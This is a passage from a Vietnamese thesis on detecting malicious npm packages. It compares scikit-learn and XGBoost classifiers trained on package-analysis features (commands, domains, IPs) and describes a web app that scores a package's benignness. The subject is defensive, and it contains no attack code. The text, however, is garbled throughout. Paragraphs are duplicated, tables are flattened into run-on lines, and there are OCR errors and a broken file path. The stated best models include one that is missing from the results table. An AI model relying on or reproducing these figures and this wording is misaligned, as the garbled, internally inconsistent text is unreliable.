GradientBoostingClassifier, XGBClassifier là tốt nhất với các chi số độ chính xác, precision, recall và F1 score cao, cùng với AUC cao nhất (0.9106).
Hình 6.3 minh họa các đường cong ROC của nhiều mô hình học máy khác nhau Hầu hết các đường cong này nghiêng về phía góc trái, cho thấy rằng các mô hình học máy đều có hiệu suất tốt.
Đánh giákếtquả SỐ ẶẶẶẶ ST 49
Kết quả đánh giá các mô hình học máy được trình bày trong Bảng 6.6, thông qua mười phép kiểm định chéo trên nhiều thuật toán trong thư viện sklearn Bảng 6.6 cho thấy rằng hầu hết các mô hình học máy đều đạt hiệu suất đáng kể.
CHƯƠNG 6 UNG DUNG HOC MAY TRONG PHÁT HIỆN CÁC GÓI PHAN
Các mô hình học máy thể hiện khả năng phát hiện gói phần mềm độc hại hiệu quả với chỉ số Recall trung bình đạt 0.87, cho thấy tỷ lệ phát hiện cao và ít bỏ sót Chỉ số Precision trung bình là 0.88 cho thấy khả năng phát hiện nhầm thấp Hơn nữa, chỉ số AUC trung bình 0.89 cho thấy khả năng phân loại tốt, trong khi chỉ số F1-score trung bình 0.86 cho thấy các mô hình này ít bỏ sót gói độc hại và giảm thiểu cảnh báo sai.
Hiệu suất đạt kết quả tốt nhất là các mô hình HistGradientBoostingClassifier,
Classifier, BaggingClassifier va DecisionTreeClassifier Trong đó hai mô hình Hist-
GradientBoostingClassifier, XGBClassifier là tốt nhất với các chi số độ chính xác, precision, recall và F1 score cao, cùng với AUC cao nhất (0.9106).
Hình 6.3 trình bày các đường cong ROC của nhiều mô hình học máy khác nhau Đa số các đường cong này nghiêng về phía góc trái, cho thấy rằng các mô hình học máy đã đạt được hiệu suất tốt.
Chương trình ứng dụng
Nhóm em đã phát triển một ứng dụng học máy nhằm tự động phân loại và phát hiện các gói phần mềm độc hại trên npm Ứng dụng này nhận đầu vào là tên gói phần mềm và kho lưu trữ cần kiểm tra, sau đó sử dụng công cụ package-analysis để phân tích gói và đưa ra kết quả.
Phương pháp Mô tả Ý ngĩa của phương pháp đánh giá đánh giá Độ chính Do lường tỉ lệ mô hình Ti lệ accuracy càng cao thì
Tỉ lệ dương tính và tỉ lệ mẫu âm tính đều ảnh hưởng đến độ chính xác của mô hình Khi FPR (tỉ lệ dương tính giả) thấp, mô hình càng trở nên hiệu quả trong việc dự đoán các kết quả dương tính trên tập kiểm tra.
Recall Đánh giá mô hình dự đoán Recall càng cao thì mô hình dương tính đúng trong các càng hiệu quả mẫu thực sự là dương tính
Receiver Oper- Biểu đồ thể hiện hiệu xuất ating Charac- của các mô hình phân loại ở teristic (ROC) tất cả các ngưỡng phân loại curve (classification thresholds)
Bảng 6.5 Các phương pháp đánh giá dùng dé đánh giá mô hình trong khóa luận của nhóm em.
CHƯƠNG 6 UNG DUNG HOC MAY TRONG PHÁT HIỆN CÁC GÓI PHAN
Model Accuracy Precision Recall Fl FPR EFNR AUC LogisticRegression 0.8296 0.8604 0.8440 0.8286 0.0064 0.3055 0.8908
RandomForestClassifier 0.8907 0.8970 0.8981 0.8905 0.0240 0.1798 0.9105 GradientBoostingClassifier 0.8902 0.8957 0.8972 0.8900 0.0289 0.1766 0.9091 BaggingClassifier 0.8902 0.8966 0.8976 0.8900 0.0240 0.1807 0.9098 XGBClassifier 0.8914 0.8976 0.8987 0.8912 0.0241 0.1784 0.9106 MLPClassifier 0.8486 0.8709 0.8610 0.8481 0.0097 0.2682 0.8916
Bang 6.6 Kết quả đánh giá các mô hình học máy. phần mềm Kết quả sau khi được package-analysis phân tích được tiền xử lý và đưa vào mô hình học máy đã huấn luyện và cho ra kết quả đánh giá là gói phần mềm này có mức độ lành tính là bao nhiêu phần trăm.
6.8.1 Các thành phan của ứng dụng
Chương trình bao gồm ba thành phần chính: ứng dụng web, package-analysis và mô hình học máy, mỗi phần đều đóng vai trò quan trọng trong quy trình hoạt động Ứng dụng web là giao diện chính, nơi người dùng cung cấp thông tin về mã nguồn cần phân tích và gửi yêu cầu đến máy chủ Máy chủ sử dụng package-analysis để phân tích mã nguồn và trích xuất thông tin quan trọng, sau đó thông tin này được đưa vào mô hình học máy đã được huấn luyện để thực hiện phân loại dữ liệu.
Giao diện ứng dung web gồm 3 trang chính 6.5 6.6 6.7.
Trang 6.5 là trang chủ của ứng dụng, nơi mà người dùng truy cập vào ứng dụng.
Chương trình cung cấp một giao diện chính với thông tin quan trọng về dự án, bao gồm tên đầy đủ của khóa luận bằng cả tiếng Việt và tiếng Anh, thông tin giảng viên hướng dẫn, và giới thiệu về các sinh viên thực hiện khóa luận Đây là điểm khởi đầu giúp người dùng hiểu rõ hơn về mục đích và phạm vi của ứng dụng, được thiết kế để kiểm tra các mã nguồn mở nhằm xác định tính an toàn hay độc hại Đồng thời, chương trình này cũng được phát triển như một sản phẩm cuối cùng cho khóa luận.
Phân tích động mã nguồn mở và ứng dụng học máy trong nhận biết mã độc trong mã nguồn mở
Hình 6.5 Giao diện mặc định của ứng dụng
Trang 6.6 là nơi dành cho người dùng để khám phá sâu hơn về khóa luận và ứng
CHƯƠNG 6 UNG DUNG HOC MAY TRONG PHÁT HIỆN CÁC GÓI PHAN
Trang 6.6 của nhóm em cung cấp thông tin chi tiết và toàn diện về dự án, tương tự như một báo cáo PDF hay LaTeX Mục tiêu của trang này là giúp người dùng có cái nhìn tổng quan và sâu sắc về khóa luận, cũng như giải thích rõ ràng về chương trình phân tích mã nguồn mở Chúng em mong muốn đáp ứng nhu cầu tìm hiểu của người dùng về cách thức chương trình hoạt động và nguồn gốc của nó.
Phân tích động mã nguồn mở va ứng dụng học máy | trong nhận biết mã độc trong mã nguồn mở
Dynamic analysis of open-source package and applying machine learning for open-source malware detection
CỬ NHÂN AN TOAN THONG TIN
TS Vũ Đức Lý Ths Tran Tuấn Dũng,
Hình 6.6 Giao diện về khóa luận tốt nghiệp
Hình ảnh chính của giao diện chương trình ứng dụng được thể hiện qua các hình 6.7, 6.10 và 6.11 Ứng dụng này cho phép người dùng kiểm tra thông tin về các gói phần mềm npm một cách dễ dàng bằng cách nhập tên gói, tên kho lưu trữ và phiên bản mã nguồn mở quan tâm Nếu không nhập phiên bản, chương trình sẽ tự động kiểm tra phiên bản mới nhất của gói phần mềm Sau đó, yêu cầu của người dùng sẽ được chuyển tiếp đến máy chủ, như minh họa trong hình 6.10.
Hình 6.7 Giao diện chính chương trình ứng dụng
Tại máy chủ, chương trình áp dụng package-analysis để phân tích chi tiết các gói phần mềm bằng các kỹ thuật đã trình bày ở phần 3.2, và sau đó tổ chức dữ liệu thu được vào tệp JSON như minh họa trong hình 6.8.
Hình 6.8 Thông tin về mã nguôn trích xuất từ package-analysis
Quá trình thu thập và xử lý thông tin quan trọng từ các gói phần mềm khác nhau sẽ dẫn đến việc lưu kết quả vào thư mục /np/results///.json, với cấu trúc cây thư mục rõ ràng như hình minh họa.
Hình 6.9 Cấu trúc thư mục kết quả được tạo ra bởi package-analysis
CHƯƠNG 6 UNG DUNG HOC MAY TRONG PHÁT HIỆN CÁC GÓI PHAN
Trong quá trình xử lý, nhóm em chỉ tập trung vào ba thuộc tính chính: commands, domains và IPs Những thành phần này được trích xuất để đưa vào mô hình học máy đã được huấn luyện, giúp tối ưu hóa và nâng cao hiệu quả phân loại và xử lý dữ liệu Điều này mang lại cho người dùng một công cụ mạnh mẽ, hỗ trợ việc phân tích và quản lý các gói phần mềm một cách chuyên nghiệp và hiệu quả hơn.
Nhóm em đã chọn mô hình XGBClassifier cho chương trình ứng dụng của mình, vì đây là mô hình đạt hiệu suất tốt nhất trong việc phân loại các gói phần mềm mã nguồn mở npm Quyết định này được dựa trên những kết quả đánh giá mà nhóm đã thực hiện, cụ thể được trình bày ở phần 6.7.
Mô hình học máy sử dụng dữ liệu từ tệp tin JSON, được phân tích từ kết quả của package-analysis, để trích xuất ba đặc tính quan trọng: commands, domains, và IPs Những đặc tính này sau đó được đưa vào mô hình dự đoán, với kết quả được trình bày trên ứng dụng web tương tác với người dùng.
6.8.2 Xây dựng chương trình kiểm tra mã nguồn mở
Chương trình kiểm tra mã nguồn mở được thiết kế với giao diện đơn giản và dễ nhìn, cung cấp thông tin chi tiết về quá trình thực hiện Nó mang lại trải nghiệm tối ưu cho người dùng, giúp họ quản lý và sử dụng mã nguồn mở một cách thông minh và hiệu quả Đồng thời, chương trình cũng nâng cao khả năng an ninh và quản lý dự án phần mềm Nhóm em xin giới thiệu một chương trình có khả năng phân tích mức độ lành tính của mã nguồn mở npm.
6.8.2.1 Một số hình anh demo
Khi người dùng nhập thông tin về gói phần mềm, ứng dụng sẽ chuyển sang trạng thái chờ và gửi yêu cầu tới máy chủ để bắt đầu phân tích Tại máy chủ, package-analysis sẽ được kích hoạt để thực hiện phân tích chi tiết gói phần mềm đã chỉ định.
6.8 CHƯƠNG TRÌNH ỨNG DỤNG bao gồm việc trích xuât các thông tin quan trọng như commands, domains, va IPs, các yếu tố cơ bản quan trọng để đưa vào mô hình học máy đã được huấn luyện trước.
Hình 6.10 Giao diện chương trình khi đang thực hiện phân tích